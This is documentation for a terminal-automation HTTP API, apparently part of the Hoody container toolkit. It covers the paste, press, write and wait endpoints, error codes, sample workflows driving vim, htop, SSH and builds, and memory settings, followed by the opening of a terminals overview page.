| **Code with newlines** | Handles `\n` correctly with bracketed paste | Each line would need separate Enter presses |
| **UTF-8 / emoji / CJK** | Full support | Single printable ASCII only |
| **Speed** | Fast -- single write | Sequential key-by-key |


**Common pattern:** Use **paste** for the text content, then **press** for the action key:

```bash
# Paste a command, then press Enter to execute it
curl -X POST "$TERMINAL/api/v1/terminal/paste?terminal_id=1" \
  -H "Content-Type: application/json" -d '{"text": "npm test"}'
curl -X POST "$TERMINAL/api/v1/terminal/press?terminal_id=1" \
  -H "Content-Type: application/json" -d '{"key": "enter"}'
```


### Bracketed Paste Mode

When `bracketed` is `true` (default), the text is wrapped in escape sequences (`\e[200~` ... `\e[201~`) if the running program has opted in via DECSET 2004. Most modern programs support this:

- **zsh, bash (readline), fish** -- Yes. Prevents auto-execution of pasted newlines.
- **vim, neovim** -- Yes. Prevents auto-indent mangling of pasted code.
- **python REPL** -- No (unless using IPython). Text is pasted as raw keystrokes.
- **htop, top** -- No. These aren't text input programs.

When `bracketed` is `false`, the text is sent as raw keystrokes regardless of the program's paste mode setting.

---

## Write (Raw Bytes)

**`POST /api/v1/terminal/write`**

`/write` is the raw-byte escape hatch for terminal automation. It injects bytes directly into the session's PTY master fd, exactly as if typed at a physical keyboard. Use it when you need to send escape sequences the `/press` key table doesn't cover, or when you want byte-level control over what hits the shell.

### Request Body

```json
{
  "input": "y",
  "enter": true
}
```

### Parameters

| Parameter | Type | Default | Description |
|-----------|------|---------|-------------|
| `terminal_id` | string (query) | *required* | Terminal session ID |
| `input` | string (body) | *required* | Text to type (UTF-8). Empty string is valid — sends just an Enter if `enter=true`. |
| `enter` | boolean (body) | `true` | Auto-append a newline after `input`. Set to `false` for raw-keystroke input. |

### Example


  
    ```bash
    # Answer a y/n prompt
    curl -X POST "$TERMINAL/api/v1/terminal/write?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"input": "y"}'

    # Send raw bytes without an auto-Enter
    curl -X POST "$TERMINAL/api/v1/terminal/write?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"input": "[6~", "enter": false}'

    # Just press Enter
    curl -X POST "$TERMINAL/api/v1/terminal/write?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"input": ""}'
    ```
  
  
    ```javascript
    // Answer a y/n prompt
    await fetch(`${TERMINAL}/api/v1/terminal/write?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ input: 'y' })
    });

    // Send raw bytes without an auto-Enter
    await fetch(`${TERMINAL}/api/v1/terminal/write?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ input: '[6~', enter: false })
    });

    // Just press Enter
    await fetch(`${TERMINAL}/api/v1/terminal/write?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ input: '' })
    });
    ```
  


### Response

```json
{ "success": true, "terminal_id": "1", "bytes_written": 2 }
```


**When to use `/write` vs `/press` vs `/paste`:**
- `/paste` for user-visible text (commands, code, passwords). Handles bracketed paste, UTF-8, newlines.
- `/press` for named keys (`enter`, `ctrl+c`, `arrow_up`, `f5`). Mode-aware: generates correct bytes for DECCKM/DECKPAM state.
- `/write` only when you need raw byte control that the other two can't express — custom escape sequences, protocol-specific bytes, or filling a PTY buffer deliberately. It does NOT track terminal modes, so arrow-key escape sequences sent via `/write` may not work correctly in alt-screen TUIs.


---

## Wait

**`POST /api/v1/terminal/wait`**

Block until a condition is met, then return an **atomic snapshot** of the screen at the exact moment of resolution. This is the key endpoint that eliminates sleep-polling from terminal automation scripts.

The word "atomic" matters here: the snapshot is captured at the same instant the condition resolves. If you called `/wait` and `/snapshot` as two separate requests, the screen could change between them (a TOCTOU race). With `/wait`, the snapshot in the response is guaranteed to reflect the state that matched your condition.

### Request Body

```json
{
  "mode": "regex",
  "pattern": "\\$ $",
  "timeout_ms": 10000,
  "debounce_ms": 100
}
```

### Parameters

| Parameter | Type | Default | Description |
|-----------|------|---------|-------------|
| `terminal_id` | string (query) | *required* | Terminal session ID |
| `mode` | string (body) | `"stable"` | Wait mode: `stable`, `regex`, or `either` |
| `pattern` | string (body) | -- | PCRE2 regex (required for `regex` and `either` modes, max 1024 bytes) |
| `timeout_ms` | integer (body) | `5000` | Hard deadline in ms (10-300000) |
| `debounce_ms` | integer (body) | `100` | Stable mode debounce in ms (10-60000) |
| `search_scope` | string (body) | `"screen"` | Where to search: `screen`, `scrollback`, or `all` |
| `include_colors` | boolean (body) | `false` | Include `colored_lines` in snapshot |
| `include_highlights` | boolean (body) | `true` | Include highlights in snapshot |

### Wait Modes

**`stable`** -- Wait until the screen stops changing. The endpoint watches the terminal's sequence counter (`seq`) and resolves when no screen updates arrive for `debounce_ms` consecutive milliseconds. Think of `debounce_ms` as "how long must the screen be quiet before I consider it settled." Use this when you don't know what the output will look like, but you know the program will eventually stop printing.


  
    ```bash
    # Wait until output settles (500ms of quiet)
    curl -X POST "$TERMINAL/api/v1/terminal/wait?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"mode": "stable", "debounce_ms": 500, "timeout_ms": 30000}'
    ```
  
  
    ```javascript
    const result = await fetch(`${TERMINAL}/api/v1/terminal/wait?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ mode: 'stable', debounce_ms: 500, timeout_ms: 30000 })
    });
    const { status, snapshot } = await result.json();
    // status: "stable" or "timeout"
    ```
  


**`regex`** -- Wait until a PCRE2 pattern matches on the screen. Resolves the instant the match appears, returning the match coordinates alongside the snapshot.


  
    ```bash
    # Wait for shell prompt
    curl -X POST "$TERMINAL/api/v1/terminal/wait?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"mode": "regex", "pattern": "\\$ $", "timeout_ms": 10000}'

    # Wait for a specific error message
    curl -X POST "$TERMINAL/api/v1/terminal/wait?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"mode": "regex", "pattern": "BUILD (SUCCESS|FAILED)", "timeout_ms": 60000}'
    ```
  
  
    ```javascript
    const result = await fetch(`${TERMINAL}/api/v1/terminal/wait?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ mode: 'regex', pattern: '\\$ $', timeout_ms: 10000 })
    });
    const { status, match, snapshot } = await result.json();
    // status: "matched" or "timeout"
    // match: { row: 10, col: 2, length: 2, text: "$ " }
    ```
  


**`either`** -- First condition wins: resolves on regex match OR stability, whichever comes first. Useful when you're not sure if the program will produce a specific prompt or just stop outputting.


  
    ```bash
    # Wait for either a prompt or 2 seconds of quiet
    curl -X POST "$TERMINAL/api/v1/terminal/wait?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"mode": "either", "pattern": "[\\$#>] $", "debounce_ms": 2000, "timeout_ms": 30000}'
    ```
  
  
    ```javascript
    const result = await fetch(`${TERMINAL}/api/v1/terminal/wait?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        mode: 'either',
        pattern: '[\\$#>] $',
        debounce_ms: 2000,
        timeout_ms: 30000
      })
    });
    const { status, snapshot } = await result.json();
    // status: "matched", "stable", or "timeout"
    ```
  


### Response Structure

```json
{
  "status": "matched",
  "elapsed_ms": 423,
  "match": {
    "row": 10,
    "col": 2,
    "length": 2,
    "text": "$ "
  },
  "snapshot": {
    "terminal_id": "1",
    "cols": 80,
    "rows": 24,
    "lines": ["..."],
    "cursor": { "row": 10, "col": 4, "visible": true },
    "title": "bash",
    "is_fullscreen": false,
    "seq": 42
  }
}
```

**Status values:**

| Status | Meaning |
|--------|---------|
| `matched` | Regex pattern matched on screen |
| `stable` | Screen was stable for `debounce_ms` (no regex match in `either` mode) |
| `timeout` | Neither condition met before `timeout_ms` |
| `exited` | Underlying process died mid-wait. Includes `snapshot`. |
| `vterm_reinit` | VT parser was torn down and re-initialized mid-wait (memory-cap resize). Client should retry; no `match` or `snapshot` returned. |

Always check all five statuses; treating only `matched`/`stable` as success and ignoring `exited`/`vterm_reinit` can cause silent failures.


**Concurrent waiters:** Each session supports up to **16 concurrent waiters**. If you exceed this limit, the endpoint returns HTTP 429. Design your workflows to resolve waiters before creating new ones.


---

## Error Handling

Every automation endpoint returns standard HTTP status codes. Handle these in your scripts to build robust automation.

### Status Codes

| Code | Meaning | When It Happens |
|------|---------|-----------------|
| 200 | Success | Request completed normally |
| 400 | Bad request | Invalid key name, malformed regex, missing required parameter, body too large |
| 404 | Session not found | The `terminal_id` doesn't exist or the session has been terminated |
| 429 | Too many waiters | More than 16 concurrent `/wait` requests on the same session |
| 503 | Resource exhausted | libvterm memory cap exceeded -- too many concurrent automation sessions |

### Error Response Format

All errors return a JSON body with an `error` field and a human-readable `message`:

```json
{
  "error": "invalid_key",
  "message": "Unknown key name 'crtl+c'. Did you mean 'ctrl+c'?",
  "supported_keys": ["enter", "tab", "escape", "..."]
}
```

### Handling Errors in Practice


  
    ```bash
    # Check HTTP status code with -w
    HTTP_CODE=$(curl -s -o /tmp/resp.json -w '%{http_code}' \
      -X POST "$TERMINAL/api/v1/terminal/press?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"key": "enter"}')

    case "$HTTP_CODE" in
      200) echo "Key sent" ;;
      400) echo "Bad request: $(cat /tmp/resp.json)" ;;
      404) echo "Session does not exist" ;;
      429) echo "Too many waiters -- wait for existing ones to resolve" ;;
      503) echo "Server overloaded -- back off and retry" ;;
    esac
    ```
  
  
    ```javascript
    async function pressKey(key) {
      const res = await fetch(`${TERMINAL}/api/v1/terminal/press?terminal_id=1`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ key })
      });

      if (res.ok) return res.json();

      const err = await res.json();
      switch (res.status) {
        case 400: throw new Error(`Bad request: ${err.message}`);
        case 404: throw new Error('Terminal session not found');
        case 429: throw new Error('Too many concurrent waiters');
        case 503: throw new Error('Server overloaded, retry later');
        default:  throw new Error(`Unexpected ${res.status}: ${err.message}`);
      }
    }
    ```
  



**Timeout is not an error.** The `/wait` endpoint returns HTTP 200 even on timeout -- the `status` field in the JSON body is `"timeout"`. Always check `status`, not the HTTP code, to determine whether the condition was met.


---

## Common Patterns

Reusable building blocks that show up in most automation scripts. Copy these into your projects.

### Type a String (Key by Key)

If you need to type text character-by-character instead of pasting (some TUI programs don't support paste), split the string into individual key presses:


  
    ```bash
    # Type "hello" key by key
    curl -X POST "$TERMINAL/api/v1/terminal/press?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"keys": ["h", "e", "l", "l", "o"]}'
    ```
  
  
    ```javascript
    // Helper: type a string as individual key presses
    async function typeString(text) {
      const keys = [...text]; // split into characters
      await fetch(`${TERMINAL}/api/v1/terminal/press?terminal_id=1`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ keys })
      });
    }

    await typeString(':wq');
    ```
  



Prefer `/paste` over key-by-key typing whenever the program supports it. Paste is a single HTTP call and handles UTF-8, newlines, and bracketed paste protection. Use key-by-key only when the program treats pasted text differently from typed input (some TUI menus, for example).


### Run a Command and Wait for the Result

The most common pattern: paste a command, press Enter, wait for the prompt, read the output.


  
    ```bash
    # Paste command, press Enter, wait for prompt, read screen
    curl -X POST "$TERMINAL/api/v1/terminal/paste?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"text": "uname -a"}'

    curl -X POST "$TERMINAL/api/v1/terminal/press?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"key": "enter"}'

    RESULT=$(curl -s -X POST "$TERMINAL/api/v1/terminal/wait?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"mode": "regex", "pattern": "\\$ $", "timeout_ms": 10000}')

    echo "$RESULT" | jq -r '.snapshot.lines[]'
    ```
  
  
    ```javascript
    // Helper: run a command and return the screen after completion
    async function runCommand(cmd, promptPattern = '\\$ $', timeoutMs = 10000) {
      await fetch(`${TERMINAL}/api/v1/terminal/paste?terminal_id=1`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ text: cmd })
      });
      await fetch(`${TERMINAL}/api/v1/terminal/press?terminal_id=1`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ key: 'enter' })
      });
      const res = await fetch(`${TERMINAL}/api/v1/terminal/wait?terminal_id=1`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ mode: 'regex', pattern: promptPattern, timeout_ms: timeoutMs })
      });
      return res.json();
    }

    const { status, snapshot } = await runCommand('uname -a');
    if (status === 'matched') {
      console.log(snapshot.lines);
    }
    ```
  


### Check if a TUI Is Running

Use the `is_fullscreen` field from a snapshot to detect whether a full-screen program (vim, htop, less, tmux) is currently active:


  
    ```bash
    # Check if we're in a TUI or at a shell prompt
    IS_TUI=$(curl -s "$TERMINAL/api/v1/terminal/snapshot?terminal_id=1" | jq '.is_fullscreen')

    if [ "$IS_TUI" = "true" ]; then
      echo "A full-screen program is running -- press 'q' or Ctrl+C to exit first"
    else
      echo "At shell prompt -- safe to run commands"
    fi
    ```
  
  
    ```javascript
    async function isTuiRunning() {
      const res = await fetch(`${TERMINAL}/api/v1/terminal/snapshot?terminal_id=1`);
      const snap = await res.json();
      return snap.is_fullscreen;
    }

    if (await isTuiRunning()) {
      // Exit the TUI first
      await fetch(`${TERMINAL}/api/v1/terminal/press?terminal_id=1`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ key: 'q' })
      });
    }
    ```
  


### Wait-Then-Act Loop

For multi-step interactions (wizards, installers, interactive prompts), use a loop that waits for a condition, inspects the screen, and decides the next action. This example assumes `wait`, `paste`, `typeString`, and `press` helpers like those defined above:

```javascript
// Drive an interactive installer step by step
const steps = [
  { wait: 'Accept license\\?', action: async () => { await typeString('yes'); await press('enter'); } },
  { wait: 'Install directory', action: async () => { await paste('/opt/app'); await press('enter'); } },
  { wait: 'Confirm\\?',        action: async () => press('enter') },
  { wait: '\\$ $',             action: null } // done -- back at shell
];

for (const step of steps) {
  const { status } = await wait({ mode: 'regex', pattern: step.wait, timeout_ms: 30000 });
  if (status === 'timeout') throw new Error(`Timed out waiting for: ${step.wait}`);
  if (step.action) await step.action();
}
```

---

## Practical Workflows

### 1. Drive Vim: Open, Edit, Save, Quit


  
    ```bash
    TID="terminal_id=1"

    # Open a file in vim
    curl -X POST "$TERMINAL/api/v1/terminal/execute" \
      -H "Content-Type: application/json" \
      -d '{"command": "vim /tmp/hello.py", "wait": false}'

    # Wait for vim to load (alt-screen active)
    curl -X POST "$TERMINAL/api/v1/terminal/wait?$TID" \
      -H "Content-Type: application/json" \
      -d '{"mode": "stable", "debounce_ms": 300, "timeout_ms": 5000}'

    # Enter insert mode
    curl -X POST "$TERMINAL/api/v1/terminal/press?$TID" \
      -H "Content-Type: application/json" \
      -d '{"key": "i"}'

    # Type some code
    curl -X POST "$TERMINAL/api/v1/terminal/paste?$TID" \
      -H "Content-Type: application/json" \
      -d '{"text": "#!/usr/bin/env python3\nprint(\"Hello from vim automation!\")\n"}'

    # Exit insert mode, save, and quit
    curl -X POST "$TERMINAL/api/v1/terminal/press?$TID" \
      -H "Content-Type: application/json" \
      -d '{"keys": ["escape", ":", "w", "q", "enter"]}'

    # Wait for vim to close (back to shell prompt)
    curl -X POST "$TERMINAL/api/v1/terminal/wait?$TID" \
      -H "Content-Type: application/json" \
      -d '{"mode": "regex", "pattern": "\\$ $", "timeout_ms": 5000}'
    ```
  
  
    ```javascript
    const TID = 'terminal_id=1';

    const press = (keys) => fetch(`${TERMINAL}/api/v1/terminal/press?${TID}`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(Array.isArray(keys) ? { keys } : { key: keys })
    });
    const paste = (text) => fetch(`${TERMINAL}/api/v1/terminal/paste?${TID}`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ text })
    });
    const wait = (opts) => fetch(`${TERMINAL}/api/v1/terminal/wait?${TID}`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(opts)
    }).then(r => r.json());

    // Open vim
    await fetch(`${TERMINAL}/api/v1/terminal/execute`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ command: 'vim /tmp/hello.py', wait: false })
    });

    // Wait for vim to load
    await wait({ mode: 'stable', debounce_ms: 300, timeout_ms: 5000 });

    // Enter insert mode, type code, save and quit
    await press('i');
    await paste('#!/usr/bin/env python3\nprint("Hello from vim automation!")\n');
    await press(['escape', ':', 'w', 'q', 'enter']);

    // Wait for shell prompt
    const { snapshot } = await wait({ mode: 'regex', pattern: '\\$ $', timeout_ms: 5000 });
    console.log('Back at shell:', snapshot.lines[snapshot.cursor.row]);
    ```
  


### 2. Navigate htop: Filter and Kill a Process

```javascript
// Launch htop and wait for it to render
await fetch(`${TERMINAL}/api/v1/terminal/execute`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ command: 'htop', wait: false })
});
await wait({ mode: 'stable', debounce_ms: 500, timeout_ms: 5000 });

// Filter for "node" processes (F4 opens htop's filter)
await press('f4');
await paste('node');
await wait({ mode: 'stable', debounce_ms: 300, timeout_ms: 3000 });

// Read the filtered list
const { snapshot } = await wait({ mode: 'stable', debounce_ms: 200, timeout_ms: 2000 });
console.log('Filtered:', snapshot.lines.filter(l => l.includes('node')));

// Send SIGTERM to selected process (F9), then quit
await press(['f9', 'enter']);
await press('q');
```

### 3. Python REPL: Define a Function and Call It

This extends the Quick Start pattern with a multi-line function definition. The key trick: paste with `bracketed: false` for REPLs that don't support bracketed paste, and press Enter twice to end an indented block.


  
    ```javascript
    // Start Python and wait for prompt (see Quick Start for the curl equivalent)
    await fetch(`${TERMINAL}/api/v1/terminal/execute`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ command: 'python3', wait: false })
    });
    await wait({ mode: 'regex', pattern: '>>> $', timeout_ms: 5000 });

    // Paste a multi-line function (bracketed: false for Python's REPL)
    await paste('def fib(n):\n    a, b = 0, 1\n    for _ in range(n):\n        a, b = b, a + b\n    return a\n');
    await press(['enter', 'enter']); // two Enters to close the block
    await wait({ mode: 'regex', pattern: '>>> $', timeout_ms: 5000 });

    // Call the function and read the result
    await paste('fib(100)');
    await press('enter');
    const { snapshot } = await wait({ mode: 'regex', pattern: '>>> $', timeout_ms: 5000 });

    // Find the line containing the big number
    const resultLine = snapshot.lines.find(l => /^\d{10,}$/.test(l.trim()));
    console.log('fib(100) =', resultLine?.trim());
    // fib(100) = 354224848179261915075

    // Exit Python
    await press('ctrl+d');
    ```
  


### 4. Drive an SSH Connection

SSH is a classic multi-step interactive flow: wait for host key confirmation or password prompt, respond, then wait for the remote shell.

```javascript
// Start SSH (don't wait -- it takes over the screen)
await fetch(`${TERMINAL}/api/v1/terminal/execute`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ command: 'ssh user@remote-server.example.com', wait: false })
});

// Wait for password prompt or host key confirmation
const { match } = await wait({
  mode: 'regex',
  pattern: '(password:|yes/no)',
  timeout_ms: 15000
});

if (match?.text.includes('yes/no')) {
  await paste('yes');
  await press('enter');
  await wait({ mode: 'regex', pattern: 'password:', timeout_ms: 10000 });
}

// Type password and wait for remote shell prompt
await paste('my-password');
await press('enter');
const result = await wait({ mode: 'regex', pattern: '[\\$#] $', timeout_ms: 15000 });
console.log('Connected!', result.snapshot.lines[result.snapshot.cursor.row]);
```

### 5. Run Command and Extract Output with `/find`

Combines the "run command and wait" pattern from [Common Patterns](#common-patterns) with `/find` to extract structured data:

```javascript
// Run df -h and wait for completion
await paste('df -h /');
await press('enter');
const { snapshot } = await wait({ mode: 'regex', pattern: '\\$ $', timeout_ms: 5000 });

// Use /find to extract the disk usage percentage from the screen
const findRes = await fetch(
  `${TERMINAL}/api/v1/terminal/find?${TID}&pattern=\\d+%25`  // %25 = URL-encoded %
).then(r => r.json());

console.log('Disk usage:', findRes.hits[0]?.text);  // "42%"

// Or parse directly from the snapshot lines
const dfLine = snapshot.lines.find(l => l.includes('/dev/'));
```

### 6. Interact with tmux

tmux uses a prefix key (Ctrl+B by default) followed by a command key. The `/press` endpoint handles this naturally since it sends keys sequentially:

```javascript
// Start tmux
await fetch(`${TERMINAL}/api/v1/terminal/execute`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ command: 'tmux new-session -s auto', wait: false })
});
await wait({ mode: 'stable', debounce_ms: 500, timeout_ms: 5000 });

// Split horizontally (Ctrl+B, then %)
await press(['ctrl+b', '%']);
await wait({ mode: 'stable', debounce_ms: 300, timeout_ms: 3000 });

// Run a command in the new pane
await paste('watch -n1 date');
await press('enter');

// Switch back to first pane
await press(['ctrl+b', 'arrow_left']);
```

### 7. Monitor a Long-Running Build

The `"either"` mode shines here: match on a known success/failure message OR fall back to stability if the output is unexpected. Set a generous `timeout_ms` -- the wait returns instantly when the condition is met.

```javascript
// Start build
await paste('npm run build 2>&1');
await press('enter');

// Wait up to 5 minutes for completion
const { status, match } = await wait({
  mode: 'either',
  pattern: '(Build succeeded|ERROR|FAILED|\\$ $)',
  debounce_ms: 3000,
  timeout_ms: 300000
});

if (status === 'matched' && match.text.includes('ERROR')) {
  // Use /find to collect all error lines (including scrollback)
  const errors = await fetch(
    `${TERMINAL}/api/v1/terminal/find?${TID}&pattern=ERROR.*&scope=all`
  ).then(r => r.json());
  console.error('Build failed with', errors.total, 'errors');
} else {
  console.log('Build succeeded!');
}
```

---

## Mode-Aware Key Encoding

One of the most important features of `/press` is that it generates **correct escape sequences for the terminal's current mode**. This is why it uses libvterm internally instead of sending raw bytes.

### The Problem with Raw Bytes

When you send arrow keys to a terminal, the correct byte sequence depends on the terminal's mode:

| Key | Normal Mode (DECCKM off) | Application Mode (DECCKM on) |
|-----|--------------------------|------------------------------|
| Arrow Up | `\e[A` | `\eOA` |
| Arrow Down | `\e[B` | `\eOB` |
| Arrow Left | `\e[D` | `\eOD` |
| Arrow Right | `\e[C` | `\eOC` |
| Home | `\e[H` | `\eOH` |
| End | `\e[F` | `\eOF` |

Programs like vim, htop, and less enable **application cursor mode** (DECCKM). If you send the wrong byte sequence, the program ignores the key or does something unexpected.

Similarly, the numeric keypad has two modes: **numeric** (sends digits) and **application** (DECKPAM, sends `\eO` sequences). Programs use this for cursor navigation in TUI menus.

### How `/press` Solves This

When you call `/press`, the endpoint:

1. Looks up the key name in the key table
2. Calls **libvterm's keyboard API** (`vterm_keyboard_key` or `vterm_keyboard_unichar`) with the appropriate `VTermKey` enum and modifiers
3. libvterm checks the terminal's current DECCKM/DECKPAM/DECNKM state and generates the correct byte sequence
4. The generated bytes are drained from libvterm's output buffer and written to the terminal PTY

This means the **same `/press` call** generates different byte sequences depending on what program is running. You don't need to know or care about terminal modes -- just send `arrow_up` and it works in vim, htop, bash, tmux, or any other program.


**Why not send raw bytes directly?** For raw byte control, see the [Write (Raw Bytes)](#write-raw-bytes) section above. But `/press` is safer: no need to know the terminal's mode, key names are self-documenting (`"ctrl+c"` vs `"\x03"`), validation catches typos, and unknown key names return the full supported list.


---

## Memory and Performance

The automation subsystem maintains a server-side libvterm instance for each terminal session that uses automation endpoints.

### Lazy Initialization and Replay

libvterm instances are created **on demand** when the first automation endpoint is called for a session. Sessions that never use automation have zero memory overhead.

On first use, the session's output buffer is replayed through libvterm to reconstruct the full terminal state (screen content, cursor position, modes, colors). This is how `/press` knows the correct byte sequences -- libvterm tracks the terminal's mode from the replayed output. The replay is fast (native C code) but does consume CPU proportional to the output buffer size. Subsequent calls use the already-initialized instance, kept in sync by feeding new output as it arrives.

### Memory Cap

All libvterm instances share a **global memory cap** (default: 512 MB, configurable with `--vterm-memory-cap-mb`). Each instance consumes memory proportional to `cols * rows * cell_size + scrollback_lines * cols * cell_size`.

For a typical 80x24 terminal with 500 scrollback lines:
- Per-instance: approximately 1-2 MB
- 512 MB cap supports roughly 250-500 concurrent automation sessions

If the memory cap is exceeded, new automation requests return **HTTP 503** with a `vterm_memory_cap` error including current and maximum usage.

### Idle Eviction

libvterm instances are evicted after **10 minutes of inactivity** (configurable with `--vterm-idle-ttl-sec`). "Inactivity" means no automation endpoint has been called for that session.

Evicted instances are transparently re-initialized on the next automation call. The replay overhead is typically negligible (a few milliseconds for normal sessions, up to 100ms for sessions with very large output buffers).

### Scrollback Buffer

Each libvterm instance maintains its own scrollback buffer (default: 500 lines, configurable with `--vterm-scrollback-lines`, max 10000). This is separate from the terminal session's raw output buffer.

The scrollback stores rendered cells (text + attributes), making `/find` and `/snapshot` with `scroll_offset` fast -- no re-parsing needed.

### Configuration Flags

| Flag | Default | Description |
|------|---------|-------------|
| `--vterm-memory-cap-mb` | 512 | Global memory cap for all libvterm instances |
| `--vterm-scrollback-lines` | 500 | Scrollback lines per instance (0-10000) |
| `--vterm-idle-ttl-sec` | 600 | Seconds of idle before eviction |
| `--wait-max-waiters-per-session` | 16 | Max concurrent `/wait` requests per session |

---

## Best Practices

### Do

- **Use `/wait` instead of polling `/snapshot` in a loop.** The wait endpoint is event-driven and returns the instant the condition is met. Polling wastes HTTP round-trips and can miss transient states.

- **Use `"mode": "either"` when you're not sure about the exact prompt.** Combine a regex for the expected prompt with a stability debounce as a fallback. This handles both normal and error cases.

- **Use `/paste` for text, `/press` for actions.** Paste your command text, then press Enter. Paste your code, then press Escape. This is faster and more reliable than pressing keys one by one.

- **Check `is_fullscreen` in snapshots** to know if you're in a TUI program or at a shell prompt. This helps your automation script adapt to unexpected states.

- **Use the `seq` counter** to detect screen changes without comparing all lines. If `seq` hasn't changed between two snapshots, the screen is identical.

- **Keep `timeout_ms` generous** for operations that might take time (builds, downloads, SSH connections). The wait endpoint returns immediately when the condition is met -- a large timeout just prevents premature failure.

- **Use `/find` with `scope: "all"`** when searching for output that might have scrolled off screen. The `scrollback` scope searches only the scrollback buffer, while `all` searches both.

### Don't

- **Don't `sleep()` between operations.** Use `/wait` with an appropriate mode instead. Sleeping creates race conditions and slows down your automation unnecessarily.

- **Don't send raw escape codes through `/paste`.** Use `/press` for special keys and control sequences. Raw escape codes can conflict with the terminal's current mode.

- **Don't assume terminal dimensions.** Read `cols` and `rows` from the snapshot response. Different sessions may have different sizes, and users can resize at any time.

- **Don't create more than 16 concurrent waiters per session.** The limit exists to prevent resource exhaustion. If you need to wait for multiple conditions, use `/wait` sequentially or combine patterns with regex alternation (`pattern1|pattern2`).

- **Don't ignore the `status` field in wait responses.** A timeout is not an error -- it means the condition wasn't met. Your script should handle all five statuses: `matched`, `stable`, `timeout`, `exited`, and `vterm_reinit`.

- **Don't use automation endpoints for simple command execution.** If you just need to run `ls` and get the output, use `/api/v1/terminal/execute` with `wait: true`. Automation endpoints are for interactive programs.


**Rate limiting:** While there is no explicit rate limit on automation endpoints, sending hundreds of key presses per second can overwhelm the terminal PTY. For realistic automation, natural pacing (a few operations per second) produces the most reliable results. The `/wait` endpoint naturally paces your workflow by blocking until the terminal is ready.


---

## What's Next

- **[Terminals Overview -->](/kit/terminals/)** -- Full terminal service docs: web UI, session management, command execution
- **[Terminal API Reference -->](/api/terminal/commands/)** -- Complete OpenAPI endpoint reference with all parameters and response schemas
- **[SSH Access -->](/foundation/networking/ssh/)** -- SSH as an alternative access method alongside HTTP automation
- **[Displays -->](/kit/displays/)** -- Visual display service for GUI applications launched from terminal sessions
- **[Kit Overview -->](/kit/)** -- All HTTP services available in every Hoody container
- **[Permissions -->](/foundation/proxy/permissions/)** -- Control who can access terminal automation endpoints

---

# Terminals

**Page:** kit/terminals

[Download Raw Markdown](./kit/terminals.md)

---

# Terminals

**Your shell is a URL.** Execute commands via HTTP, share terminal sessions with a link, collaborate in real-time—no SSH keys, no configuration, just pure HTTP.

**Launch GUI applications instantly:** Type `firefox &` in the terminal and it appears in your browser via the matching [display URL](/kit/displays/). No setup. No configuration. Just type and see.

Every Hoody container includes **hoody-terminal**, transforming your Linux shell into a first-class web service accessible via HTTP endpoints.

---

## What You Can Do

**hoody-terminal** provides complete shell control through HTTP:

- **🌐 Web Terminal UI** - Full-featured browser terminal—replaces SSH for most use cases
- **🖥️ Launch GUI Apps Instantly** - Type `firefox &` and it appears in browser—zero configuration
- **⚡ Execute Commands** - Run any shell command via POST request, get `stdout`/`stderr`/exit codes
- **🔄 Persistent Sessions** - Stateful terminals that remember working directory and environment
- **👥 Multiplayer Sessions** - Multiple users typing in the same terminal simultaneously
- **📊 System Monitoring** - Query CPU, memory, disk, processes, ports via HTTP
- **📡 WebSocket Streaming** - Real-time output for long-running commands
- **📸 Screenshots** - Capture terminal state as PNG/JPEG/GIF


**Access & Security:**
- **Traditional SSH** - SSH connections for automation/advanced users. See [SSH →](/foundation/networking/ssh/)
- **SSH to Remote Servers** - Connect to other servers through the web UI using SSH parameters (no SSH client needed)
- **Proxy Permissions** - Control terminal access with IP whitelist, passwords, or JWT. See [Permissions →](/foundation/proxy/permissions/)


---

## API Endpoints Summary

**Official Technical Reference:**

For complete endpoint documentation with all parameters, responses, and examples:

**Command Execution:**
- **[POST /api/v1/terminal/execute](/api/terminal/commands/#post-apiv1terminalexecute)** - Execute shell commands
  - Body params: `command`, `id`, `timeout`, `wait`, `cwd` (per-command working directory), `env`
  - Query params: `terminal_id`, `cwd` (initial working directory for new/reset local sessions), `cwd_auto_create`, `shell`, `user`, `ssh_host`, `ssh_user`, `ssh_password`, `ssh_key`, `reset`
  - Modes: Synchronous (`wait: true`) or Asynchronous (`wait: false`)
